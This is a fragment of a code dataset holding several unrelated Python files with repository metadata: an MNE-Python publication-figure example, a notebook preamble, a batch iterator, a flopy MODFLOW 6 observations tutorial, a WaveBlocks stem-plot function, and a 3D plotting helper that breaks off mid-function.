activation\nevoked.plot(axes=axes[evoked_idx])\npeak_line = axes[evoked_idx].axvline(max_t, color='#66CCEE', ls='--')\n# custom legend\naxes[evoked_idx].legend(\n    [axes[evoked_idx].lines[0], peak_line], ['MEG data', 'Peak time'],\n    frameon=True, columnspacing=0.1, labelspacing=0.1,\n    fontsize=8, fancybox=True, handlelength=1.8)\n# remove the \"N_ave\" annotation\naxes[evoked_idx].texts = []\n# Remove spines and add grid\naxes[evoked_idx].grid(True)\naxes[evoked_idx].set_axisbelow(True)\nfor key in ('top', 'right'):\n    axes[evoked_idx].spines[key].set(visible=False)\n# Tweak the ticks and limits\naxes[evoked_idx].set(\n    yticks=np.arange(-200, 201, 100), xticks=np.arange(-0.2, 0.51, 0.1))\naxes[evoked_idx].set(\n    ylim=[-225, 225], xlim=[-0.2, 0.5])\n\n# now add the brain to the lower axes\naxes[brain_idx].imshow(cropped_screenshot)\naxes[brain_idx].axis('off')\n# add a vertical colorbar with the same properties as the 3D one\ndivider = make_axes_locatable(axes[brain_idx])\ncax = divider.append_axes('right', size='5%', pad=0.2)\ncbar = mne.viz.plot_brain_colorbar(cax, clim, colormap, label='Activation (F)')\n\n# tweak margins and spacing\nfig.subplots_adjust(\n    left=0.15, right=0.9, bottom=0.01, top=0.9, wspace=0.1, hspace=0.5)\n\n# add subplot labels\nfor ax, label in zip(axes, 'AB'):\n    ax.text(0.03, ax.get_position().ymax, label, transform=fig.transFigure,\n            fontsize=12, fontweight='bold', va='top', ha='left')\n\n###############################################################################\n# Custom timecourse with montage inset\n# ------------------------------------\n#\n# Suppose we want a figure with some mean timecourse extracted from a number of\n# sensors, and we want a smaller panel within the figure to show a head outline\n# with the positions of those sensors clearly marked.\n# If you are familiar with MNE, you know that this is something that\n# :func:`mne.viz.plot_compare_evokeds` does, see an example output in\n# :ref:`ex-hf-sef-data` at the bottom.\n#\n# In this part of the example, we will show you how to achieve this result on\n# your own figure, without having to use :func:`mne.viz.plot_compare_evokeds`!\n#\n# Let's start by loading some :ref:`example data <sample-dataset>`.\n\ndata_path = mne.datasets.sample.data_path()\nfname_raw = op.join(data_path, \"MEG\", \"sample\", \"sample_audvis_raw.fif\")\nraw = mne.io.read_raw_fif(fname_raw)\n\n# For the sake of the example, we focus on EEG data\nraw.pick_types(meg=False, eeg=True)\n\n\n###############################################################################\n# Let's make a plot.\n\n# channels to plot:\nto_plot = [f\"EEG {i:03}\" for i in range(1, 5)]\n\n# get the data for plotting in a short time interval from 10 to 20 seconds\nstart = int(raw.info['sfreq'] * 10)\nstop = int(raw.info['sfreq'] * 20)\ndata, times = raw.get_data(picks=to_plot,\n                           start=start, stop=stop, return_times=True)\n\n# Scale the data from the MNE internal unit V to \u00b5V\ndata *= 1e6\n# Take the mean of the channels\nmean = np.mean(data, axis=0)\n# make a figure\nfig, ax = plt.subplots(figsize=(4.5, 3))\n# plot some EEG data\nax.plot(times, mean)\n\n###############################################################################\n# So far so good. Now let's add the smaller figure within the figure to show\n# exactly, which sensors we used to make the timecourse.\n# For that, we use an \"inset_axes\" that we plot into our existing axes.\n# The head outline with the sensor positions can be plotted using the\n# `~mne.io.Raw` object that is the source of our data.\n# Specifically, that object already contains all the sensor positions,\n# and we can plot them using the ``plot_sensors`` method.\n\n# recreate the figure (only necessary for our documentation server)\nfig, ax = plt.subplots(figsize=(4.5, 3))\nax.plot(times, mean)\naxins = inset_locator.inset_axes(ax, width=\"30%\", height=\"30%\", loc=2)\n\n# pick_channels() edits the raw object in place, so we'll make a copy here\n# so that our raw object stays intact for potential later analysis\nraw.copy().pick_channels(to_plot).plot_sensors(title=\"\", axes=axins)\n\n###############################################################################\n# That looks nice. But the sensor dots are way too big for our taste. Luckily,\n# all MNE-Python plots use Matplotlib under the hood and we can customize\n# each and every facet of them.\n# To make the sensor dots smaller, we need to first get a handle on them to\n# then apply a ``*.set_*`` method on them.\n\n# If we inspect our axes we find the objects contained in our plot:\nprint(axins.get_children())\n\n###############################################################################\n# That's quite a a lot of objects, but we know that we want to change the\n# sensor dots, and those are most certainly a \"PathCollection\" object.\n# So let's have a look at how many \"collections\" we have in the axes.\nprint(axins.collections)\n\n###############################################################################\n# There is only one! Those must be the sensor dots we were looking for.\n# We finally found exactly what we needed. Sometimes this can take a bit of\n# experimentation.\n\nsensor_dots = axins.collections[0]\n\n# Recreate the figure once more; shrink the sensor dots; add axis labels\nfig, ax = plt.subplots(figsize=(4.5, 3))\nax.plot(times, mean)\naxins = inset_locator.inset_axes(ax, width=\"30%\", height=\"30%\", loc=2)\nraw.copy().pick_channels(to_plot).plot_sensors(title=\"\", axes=axins)\nsensor_dots = axins.collections[0]\nsensor_dots.set_sizes([1])\n# add axis labels, and adjust bottom figure margin to make room for them\nax.set(xlabel=\"Time (s)\", ylabel=\"Amplitude (\u00b5V)\")\nfig.subplots_adjust(bottom=0.2)\n", "meta": {"hexsha": "4d57a99705a6d284997511bc6c8a74eab1f67239", "size": 11213, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/visualization/publication_figure.py", "max_stars_repo_name": "rylaw/mne-python", "max_stars_repo_head_hexsha": "aa526c8ed7049046734ca28493d99e841672b0eb", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-18T08:52:22.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-18T08:52:22.000Z", "max_issues_repo_path": "examples/visualization/publication_figure.py", "max_issues_repo_name": "rylaw/mne-python", "max_issues_repo_head_hexsha": "aa526c8ed7049046734ca28493d99e841672b0eb", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-09-18T00:09:20.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-10T17:47:10.000Z", "max_forks_repo_path": "examples/visualization/publication_figure.py", "max_forks_repo_name": "rylaw/mne-python", "max_forks_repo_head_hexsha": "aa526c8ed7049046734ca28493d99e841672b0eb", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-01T15:56:39.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-01T15:56:39.000Z", "avg_line_length": 40.7745454545, "max_line_length": 79, "alphanum_fraction": 0.6374743601, "include": true, "reason": "import numpy", "num_tokens": 2794, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3040416623541848, "lm_q2_score": 0.20181321745968234, "lm_q1q2_score": 0.0613596261214884}}
{"text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom cycler import cycler\nfrom IPython.display import display, set_matplotlib_formats, HTML\n\ndisplay(HTML(data=\"\"\"\n<style>\n    div#notebook-container    { width: 95%; }\n    div#menubar-container     { width: 65%; }\n    div#maintoolbar-container { width: 99%; }\n</style>\n\"\"\"))\n\nset_matplotlib_formats('pdf', 'png')\nplt.rcParams['savefig.dpi'] = 300\nplt.rcParams['image.cmap'] = \"viridis\"\nplt.rcParams['image.interpolation'] = \"none\"\nplt.rcParams['savefig.bbox'] = \"tight\"\nplt.rcParams['lines.linewidth'] = 2\nplt.rcParams['legend.numpoints'] = 1\n\nnp.set_printoptions(precision=3, suppress=True)\n\npd.set_option(\"display.max_columns\", 8)\npd.set_option('precision', 2)\n\n__all__ = ['np', 'display', 'plt', 'pd']\n", "meta": {"hexsha": "3ef0ddc9dde8e8f38c6dcf0591fc1b86e88564dc", "size": 777, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/preamble.py", "max_stars_repo_name": "vcalderon2009/2020_06_CA_Astro_Data_Science_Workshop", "max_stars_repo_head_hexsha": "13e53561b274890ef5031812518ee0296447cf7e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-06-12T08:28:54.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-13T19:12:55.000Z", "max_issues_repo_path": "notebooks/preamble.py", "max_issues_repo_name": "vcalderon2009/2020_06_CA_Astro_Data_Science_Workshop", "max_issues_repo_head_hexsha": "13e53561b274890ef5031812518ee0296447cf7e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/preamble.py", "max_forks_repo_name": "vcalderon2009/2020_06_CA_Astro_Data_Science_Workshop", "max_forks_repo_head_hexsha": "13e53561b274890ef5031812518ee0296447cf7e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.7931034483, "max_line_length": 65, "alphanum_fraction": 0.7091377091, "include": true, "reason": "import numpy", "num_tokens": 220, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356683938849797, "lm_q2_score": 0.15203224738527768, "lm_q1q2_score": 0.061355173562406745}}
{"text": "import numpy as np\nfrom .data_iterator import DataIterator\n\nclass BatchIterator(DataIterator):\n    \"\"\"TODO: BatchIterator docs\"\"\"\n    def __init__(self, batch_size, shuffle=False):\n        super().__init__()\n\n        self.batch_size = batch_size\n        self.shuffle = shuffle\n\n    def __call__(self, inputs, targets):\n        starts = np.arange(0, len(inputs), self.batch_size)\n        if self.shuffle:\n            np.random.shuffle(starts)\n\n        for start in starts:\n            end = start + self.batch_size\n            batch_inputs = inputs[start:end]\n            batch_targets = targets[start:end]\n            yield batch_inputs, batch_targets\n\n", "meta": {"hexsha": "3ec5edb6d9cda513f591e5cc682bd93a7a5fb12a", "size": 653, "ext": "py", "lang": "Python", "max_stars_repo_path": "playground/utils/batch_iterator.py", "max_stars_repo_name": "rodrigobaron/nn-playground", "max_stars_repo_head_hexsha": "d93b3eba3d54d7602e9adb5895cca10a1e047f2e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-03-24T18:09:23.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-04T13:14:45.000Z", "max_issues_repo_path": "playground/utils/batch_iterator.py", "max_issues_repo_name": "rodrigobaron/nn-playground", "max_issues_repo_head_hexsha": "d93b3eba3d54d7602e9adb5895cca10a1e047f2e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-04-04T15:34:44.000Z", "max_issues_repo_issues_event_max_datetime": "2018-04-04T15:34:44.000Z", "max_forks_repo_path": "playground/utils/batch_iterator.py", "max_forks_repo_name": "rodrigobaron/nn-playground", "max_forks_repo_head_hexsha": "d93b3eba3d54d7602e9adb5895cca10a1e047f2e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.3913043478, "max_line_length": 59, "alphanum_fraction": 0.6355283308, "include": true, "reason": "import numpy", "num_tokens": 136, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12765262532179067, "lm_q1q2_score": 0.06133436466395876}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.5.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # MODFLOW 6: Observation packages\n#\n\n# ## Introduction to Observations\n#\n# Observations can be set for any package through the `package.obs` object, and\n# each package.obs object has several attributes that can be set:\n#\n# | Attribute | Type | Description |\n# | :---      | :---- | :----      |\n# | package.obs.filename | str | Name of observations file to create. The default is packagename + '.obs'.|\n# | package.obs.continuous | dict | A dictionary that has file names as keys and a list of observations as the dictionary values. |\n# | package.obs.digits | int | Number of digits to write the observation values. Default is 10. |\n# | package.obs.print_input | bool | Flag indicating whether or not observations are written to listing file. |\n#\n# The following code sets up a simulation used in the observation examples.\n\n# package import\nimport os\n\nimport numpy as np\n\nimport flopy\n\n# set up where simulation workspace will be stored\nworkspace = os.path.join(\"data\", \"mf6_working_with_data\")\nname = \"example_1\"\nif not os.path.exists(workspace):\n    os.makedirs(workspace)\n\n# create the flopy simulation and tdis objects\nsim = flopy.mf6.MFSimulation(\n    sim_name=name, exe_name=\"mf6\", version=\"mf6\", sim_ws=workspace\n)\ntdis_rc = [(1.0, 1, 1.0), (10.0, 5, 1.0), (10.0, 5, 1.0), (10.0, 1, 1.0)]\ntdis_package = flopy.mf6.modflow.mftdis.ModflowTdis(\n    sim, time_units=\"DAYS\", nper=4, perioddata=tdis_rc\n)\n# create the flopy groundwater flow (gwf) model object\nmodel_nam_file = f\"{name}.nam\"\ngwf = flopy.mf6.ModflowGwf(sim, modelname=name, model_nam_file=model_nam_file)\n# create the flopy iterative model solver (ims) package object\nims = flopy.mf6.modflow.mfims.ModflowIms(sim, pname=\"ims\", complexity=\"SIMPLE\")\n# create the discretization package\nbot = np.linspace(-3.0, -50.0 / 3.0, 3)\ndelrow = delcol = 4.0\ndis = flopy.mf6.modflow.mfgwfdis.ModflowGwfdis(\n    gwf,\n    pname=\"dis\",\n    nogrb=True,\n    nlay=3,\n    nrow=101,\n    ncol=101,\n    delr=delrow,\n    delc=delcol,\n    top=0.0,\n    botm=bot,\n)\n# create the initial condition (ic) and node property flow (npf) packages\nic_package = flopy.mf6.modflow.mfgwfic.ModflowGwfic(gwf, strt=50.0)\nnpf_package = flopy.mf6.modflow.mfgwfnpf.ModflowGwfnpf(\n    gwf,\n    save_flows=True,\n    icelltype=[1, 0, 0],\n    k=[5.0, 0.1, 4.0],\n    k33=[0.5, 0.005, 0.1],\n)\n\n# ## Observation Example 1\n#\n# One method to build the observation package is to pass a dictionary with\n# the observations containing \"observations\" parameters of the parent package.\n#\n# This example uses the observation package in a `GHB` package.  First the\n# stress period data for a ghb package is built.\n\n# build ghb stress period data\nghb_spd = {}\nghb_period = []\nfor layer, cond in zip(range(1, 3), [15.0, 1500.0]):\n    for row in range(0, 15):\n        ghb_period.append(((layer, row, 9), 1.0, cond, \"Estuary-L2\"))\nghb_spd[0] = ghb_period\n\n# The next step is to build the observation data in a dictionary.  The\n# dictionary key is the filename of the observation output file and\n# optionally a \"binary\" keyword to make the file binary.  When the optional\n# \"binary\" keyword is used the dictionary key is a tuple, otherwise it is a\n# string.  The dictionary value is a list of tuples containing the contents\n# of the observation package's continuous block, with each tuple containing\n# one line of information.\n\n# build obs data\nghb_obs = {\n    (\"ghb_obs.csv\", \"binary\"): [\n        (\"ghb-2-6-10\", \"GHB\", (1, 5, 9)),\n        (\"ghb-3-6-10\", \"GHB\", (2, 5, 9)),\n    ],\n    \"ghb_flows.csv\": [\n        (\"Estuary2\", \"GHB\", \"Estuary-L2\"),\n        (\"Estuary3\", \"GHB\", \"Estuary-L3\"),\n    ],\n}\n\n# The ghb package is now constructed with observations by setting the\n# `observations` parameter to `ghb_obs` on construction of the ghb package.\n\n# build ghb package passing obs dictionary to package constructor\nghb = flopy.mf6.modflow.mfgwfghb.ModflowGwfghb(\n    gwf,\n    print_input=True,\n    print_flows=True,\n    save_flows=True,\n    boundnames=True,\n    observations=ghb_obs,\n    pname=\"ghb\",\n    maxbound=30,\n    stress_period_data=ghb_spd,\n)\n\n# Observation information such as the print_input option can then be set using\n# the package's `obs` parameter.\n\nghb.obs.print_input = True\n\n# clean up for next example\ngwf.remove_package(\"ghb\")\n\n# ## Observation Example 2\n#\n# Alternatively, an obs package can be built by initializing obs\n# through `ghb.obs.initialize`.\n\n# First, a `GHB` package is built without defining observations.\n\n# build ghb package\nghb = flopy.mf6.modflow.mfgwfghb.ModflowGwfghb(\n    gwf,\n    print_input=True,\n    print_flows=True,\n    save_flows=True,\n    boundnames=True,\n    maxbound=30,\n    stress_period_data=ghb_spd,\n    pname=\"ghb\",\n)\n\n# Then the ghb observations are defined in a dictionary similar to example 1.\n\n# build obs data\nghb_obs = {\n    (\"ghb_obs.csv\", \"binary\"): [\n        (\"ghb-2-6-10\", \"GHB\", (1, 5, 9)),\n        (\"ghb-3-6-10\", \"GHB\", (2, 5, 9)),\n    ],\n    \"ghb_flows.csv\": [\n        (\"Estuary2\", \"GHB\", \"Estuary-L2\"),\n        (\"Estuary3\", \"GHB\", \"Estuary-L3\"),\n    ],\n}\n\n# The observations can then be added to the ghb package using the obs\n# attribute's initialize method.  The observation package's file name,\n# digits, and print_input options, along with the continuous block data\n# are set in the initialize method.\n\n# initialize obs package\nghb.obs.initialize(\n    filename=\"child_pkgs_test.ghb.obs\",\n    digits=9,\n    print_input=True,\n    continuous=ghb_obs,\n)\n", "meta": {"hexsha": "968e57bcb6f87bd954bf0ebf4e03b937a4ae6fba", "size": 5688, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/Tutorials/modflow6data/tutorial02_mf6_data.py", "max_stars_repo_name": "hansonmcoombs/flopy", "max_stars_repo_head_hexsha": "49398983c36d381992621d5bf698ea7f78fc0014", "max_stars_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/Tutorials/modflow6data/tutorial02_mf6_data.py", "max_issues_repo_name": "hansonmcoombs/flopy", "max_issues_repo_head_hexsha": "49398983c36d381992621d5bf698ea7f78fc0014", "max_issues_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/Tutorials/modflow6data/tutorial02_mf6_data.py", "max_forks_repo_name": "hansonmcoombs/flopy", "max_forks_repo_head_hexsha": "49398983c36d381992621d5bf698ea7f78fc0014", "max_forks_repo_licenses": ["CC0-1.0", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.2553191489, "max_line_length": 131, "alphanum_fraction": 0.6842475387, "include": true, "reason": "import numpy", "num_tokens": 1709, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1276526186843706, "lm_q1q2_score": 0.06133436147481995}}
{"text": "\"\"\"The WaveBlocks Project\n\nFunction for stem-plotting functions of the type f:I -> C\nwith abs(f) as y-value and phase(f) as color code.\nThis function makes a stem plot.\n\n@author: R. Bourquin\n@copyright: Copyright (C) 2010, 2011, 2012, 2016 R. Bourquin\n@license: Modified BSD License\n\"\"\"\n\nfrom numpy import array, zeros, real\nfrom matplotlib.collections import LineCollection\nfrom matplotlib.pyplot import gca\n\nfrom WaveBlocksND.Plot.color_map import color_map\n\n\ndef stemcf(grid, phase, modulus, darken=None, axes=None, linestylep=\"solid\", linewidthp=2, color=None, markerp=\"o\", **kwargs):\n    r\"\"\"Stemplot the modulus of a complex valued function :math:`f:I -> \\mathbb{C}` together with its phase in a color coded fashion.\n    Additional keyword arguments are passed to the plot function.\n\n    :param grid: The grid nodes of the real domain grid :math:`\\Gamma`\n    :param phase: The phase of the complex domain result :math:`f(\\Gamma)`\n    :param modulus: The modulus of the complex domain result :math:`f(\\Gamma)`\n    :param darken: Whether to take into account the modulus of the data to darken colors.\n    :param axes: The axes instance used for plotting.\n    :param linestylep: The line style of the phase curve.\n    :param linewidthp: The line width of the phase curve.\n    :param color: The color of the stemmed markers.\n    :param markerp: The shape of the stemmed markers.\n    \"\"\"\n    # Color mapping\n    rgb_colors = color_map(grid, phase=phase, modulus=modulus, darken=darken)\n\n    # Put all the vertical line into a collection\n    segments = [array([[node, 0], [node, value]]) for node, value in zip(grid, modulus)]\n    line_segments = LineCollection(segments)\n\n    # Set some properties of the lines\n    rgb_colors = line_segments.to_rgba(rgb_colors)\n    line_segments.set_color(rgb_colors[0])\n    line_segments.set_linestyle(linestylep)\n    line_segments.set_linewidth(linewidthp)\n\n    # Plot to the given axis instance or retrieve the current one\n    if axes is None:\n        axes = gca()\n\n    # Plot the phase\n    axes.add_collection(line_segments)\n    # Plot the modulus\n    if color is None:\n        # Scatter has a problem with complex data type, make sure values are purely real\n        axes.scatter(grid, real(modulus), c=rgb_colors[0], **kwargs)\n    else:\n        axes.plot(grid, modulus, linestyle=\"\", marker=markerp, color=color, **kwargs)\n    # Plot the ground line\n    axes.plot(grid, zeros(grid.shape), linestyle=linestylep, color=\"k\", **kwargs)\n", "meta": {"hexsha": "b882715ee43e80136d63ee48a8b359e7634cf91d", "size": 2472, "ext": "py", "lang": "Python", "max_stars_repo_path": "WaveBlocksND/Plot/stemcf.py", "max_stars_repo_name": "raoulbq/WaveBlocksND", "max_stars_repo_head_hexsha": "225b5dd9b1af1998bd40b5f6467ee959292b6a83", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2016-09-01T21:13:54.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-23T15:45:32.000Z", "max_issues_repo_path": "WaveBlocksND/Plot/stemcf.py", "max_issues_repo_name": "raoulbq/WaveBlocksND", "max_issues_repo_head_hexsha": "225b5dd9b1af1998bd40b5f6467ee959292b6a83", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "WaveBlocksND/Plot/stemcf.py", "max_forks_repo_name": "raoulbq/WaveBlocksND", "max_forks_repo_head_hexsha": "225b5dd9b1af1998bd40b5f6467ee959292b6a83", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2016-03-16T15:22:01.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-13T14:06:54.000Z", "avg_line_length": 41.2, "max_line_length": 133, "alphanum_fraction": 0.7164239482, "include": true, "reason": "from numpy", "num_tokens": 610, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.1276526153656607, "lm_q1q2_score": 0.06133435988025059}}
{"text": "import numpy as np\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nfrom mpl_toolkits.mplot3d import Axes3D\n\nimport ipywidgets as widgets\nfrom ipywidgets import AppLayout, FloatSlider\nfrom ipywidgets import GridspecLayout\nfrom matplotlib import rc\n\nfrom copy import deepcopy\n\ntry:\n    from addict import Dict \nexcept:\n    import subprocess\n    import sys\n    subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"addict\"])\n    from addict import Dict \n\ntry:\n    import ipympl\nexcept:\n    import subprocess\n    import sys\n    subprocess.check_call([sys.executable, \"-m\", \"pip\", \"install\", \"ipympl\"])\n    install(\"ipympl\")\n    \n    \ndef dict_merge(destination, source):\n    out = deepcopy(destination)\n    for key, value in source.items():\n        if isinstance(value, dict):\n            # get node or create one\n            node = out.setdefault(key, {})\n            dict_merge(node, value)\n        else:\n            out[key] = value\n    return out\n\nPARAM = Dict()\nPARAM.background_color = (0.0, 0.0, 0.0, 0.0)  \nPARAM.zlim = (-4,4)\nPARAM.grid_color = (0.0, 0.0, 0.0, 0.25)\nPARAM.grid_linewidth = 0.25\nPARAM.grid_size = 20\nPARAM.border_color = (0.0, 0.0, 0.0, 0.25)\nPARAM.border_linewidth = 0.25\nPARAM.tick_color = (0.0, 0.0, 0.0, 0.25)\nPARAM.tick_linewidth = 0.25\nPARAM.label_size = 7\nPARAM.label_color = (0,0,0,1)\nPARAM.azimuth = -60\nPARAM.elevation = 30\nPARAM.header_visible = False\nPARAM.style = \"\"\nPARAM.plot_box = [[-2,2],[-2,2]]\nPARAM.cmap = plt.cm.jet\nPARAM.levels_number = 15\nPARAM.density = 0.5\nPARAM.iter_max = 40\n    \n\ndef set_axis3d(ax=None, **param):\n    # api for 3D plot : https://matplotlib.org/3.1.1/api/_as_gen/mpl_toolkits.mplot3d.axes3d.Axes3D.html\n    # last component is a level of gray : 0.0 for white to 1.0 for black\n    # https://matplotlib.org/_modules/mpl_toolkits/mplot3d/axes3d.html\n    \n    param = Dict(dict_merge(PARAM, param))\n    if ax is None:\n        ax = plt.axes(projection='3d')\n    \n    if param.style == \"raw\":\n        param.grid_color = (0.0, 0.0, 0.0, 0)\n        param.border_color = (0.0, 0.0, 0.0, 0)\n        param.tick_color = (0.0, 0.0, 0.0, 0)\n        ax.set_xticklabels([])\n        ax.set_yticklabels([])\n        ax.set_zticklabels([])\n    \n    # Now we apply the parameters:\n    \n    # Background of the plot\n    ax.w_xaxis.set_pane_color(param.background_color)\n    ax.w_yaxis.set_pane_color(param.background_color)\n    ax.w_zaxis.set_pane_color(param.background_color)\n\n    # Grid of the background\n    ax.xaxis._axinfo[\"grid\"]['color'] = param.grid_color\n    ax.yaxis._axinfo[\"grid\"]['color'] = param.grid_color\n    ax.zaxis._axinfo[\"grid\"]['color'] = param.grid_color\n    ax.xaxis._axinfo[\"grid\"]['linewidth'] = param.grid_linewidth\n    ax.yaxis._axinfo[\"grid\"]['linewidth'] = param.grid_linewidth\n    ax.zaxis._axinfo[\"grid\"]['linewidth'] = param.grid_linewidth\n\n    # Main axes (with the ticks labels etc) : \n    ax.w_xaxis.line.set_color(param.border_color) \n    ax.w_yaxis.line.set_color(param.border_color) \n    ax.w_zaxis.line.set_color(param.border_color)\n    ax.w_xaxis.line.set_linewidth(param.border_linewidth) \n    ax.w_yaxis.line.set_linewidth(param.border_linewidth) \n    ax.w_zaxis.line.set_linewidth(param.border_linewidth) \n\n    # Ticks\n    ax.tick_params(color=param.tick_color, \n                   size=param.tick_linewidth, # this is broken..\n                   axis='both', \n                   which='both', \n                   labelsize=param.label_size, \n                   labelcolor=param.label_color)\n    # other options : ['size', 'width', 'color', 'tickdir', 'pad', 'labelsize', 'labelcolor', 'zorder', 'gridOn', 'tick1On', 'tick2On', 'label1On', 'label2On', 'length', 'direction', 'left', 'bottom', 'right', 'top', 'labelleft', 'labelbottom', 'labelright', 'labeltop', 'labelrotation', 'grid_agg_filter', 'grid_alpha', 'grid_animated', 'grid_antialiased', 'grid_clip_box', 'grid_clip_on', 'grid_clip_path', 'grid_color', 'grid_contains', 'grid_dash_capstyle', 'grid_dash_joinstyle', 'grid_dashes', 'grid_data', 'grid_drawstyle', 'grid_figure', 'grid_fillstyle', 'grid_gid', 'grid_in_layout', 'grid_label', 'grid_linestyle', 'grid_linewidth', 'grid_marker', 'grid_markeredgecolor', 'grid_markeredgewidth', 'grid_markerfacecolor', 'grid_markerfacecoloralt', 'grid_markersize', 'grid_markevery', 'grid_path_effects', 'grid_picker', 'grid_pickradius', 'grid_rasterized', 'grid_sketch_params', 'grid_snap', 'grid_solid_capstyle', 'grid_solid_joinstyle', 'grid_transform', 'grid_url', 'grid_visible', 'grid_xdata', 'grid_ydata', 'grid_zorder', 'grid_aa', 'grid_c', 'grid_ds', 'grid_ls', 'grid_lw', 'grid_mec', 'grid_mew', 'grid_mfc', 'grid_mfcalt', 'grid_ms']\n    \n    # title and stuff around the plot\n    if \"title\" in param.keys():    \n        ax.title.set_text(param[\"title\"])\n    ax.view_init(param.elevation, param.azimuth)\n    \n    return ax\n    \n\ndef function_values(fun, **param):\n    # fun is a function taking two floats as an argument, returning one\n    if \"plot_box\" not in param.keys():\n        param[\"plot_box\"] = [[-2,2],[-2,2]]\n    if \"grid_size\" not in param.keys():\n        param[\"grid_size\"] = 20\n    \n    x = np.outer(np.linspace(param[\"plot_box\"][0][0], param[\"plot_box\"][0][1], param[\"grid_size\"]), np.ones(param[\"grid_size\"]))\n    y = np.outer(np.linspace(param[\"plot_box\"][1][0], param[\"plot_box\"][1][1], param[\"grid_size\"]), np.ones(param[\"grid_size\"])).T\n    \n    z = np.zeros((param[\"grid_size\"],param[\"grid_size\"]))\n    for idx, _ in np.ndenumerate(x):\n        z[idx] = fun(x[idx], y[idx])\n    return x, y, z\n\n\ndef field_values(fun, **param):\n    # fun is a function taking two floats as an argument, returning two\n    if \"plot_box\" not in param.keys():\n        param[\"plot_box\"] = [[-2,2],[-2,2]]\n    if \"grid_size\" not in param.keys():\n        param[\"grid_size\"] = 20\n    \n    x = np.outer(np.linspace(param[\"plot_box\"][0][0], param[\"plot_box\"][0][1], param[\"grid_size\"]), np.ones(param[\"grid_size\"]))\n    y = np.outer(np.linspace(param[\"plot_box\"][1][0], param[\"plot_box\"][1][1], param[\"grid_size\"]), np.ones(param[\"grid_size\"])).T\n    \n    zx = np.zeros((param[\"grid_size\"],param[\"grid_size\"]))\n    zy = np.zeros((param[\"grid_size\"],param[\"grid_size\"]))\n    for idx, _ in np.ndenumerate(x):\n        zx[idx], zy[idx] = fun(x[idx], y[idx])\n    return x, y, zx, zy\n\n\ndef matrix_definiteness(A):\n    if np.linalg.norm(A-A.T)> 1e-8 : # not symmetric\n        return matrix_definiteness(0.5*(A+A.T))\n    spec = np.linalg.eig(A)[0]\n    if (spec>0).all():\n        return \"D\u00e9finie Positive\"\n    elif (spec>=0).all():\n        return \"Positive\"\n    elif (spec<0).all():\n        return \"D\u00e9finie N\u00e9gative\"\n    elif (spec<=0).all():\n        return \"N\u00e9gative\"\n    else:\n        return \"Non D\u00e9finie\"\n\ndef matrix_symmetricness(A):\n    if np.linalg.norm(A-A.T) < 1e-8:\n        return \"sym\u00e9trique\"\n    elif np.linalg.norm(A+A.T) < 1e-8:\n        return \"antisym\u00e9trique\"\n    else:\n        return \"non sym\u00e9trique\"\n\ndef print_info(A):\n    return \"La matrice A est \" + matrix_definiteness(A) + \", \" +  matrix_symmetricness(A)\n\n\ndef get_plots_we_want(**plot_param):\n    # what do we want 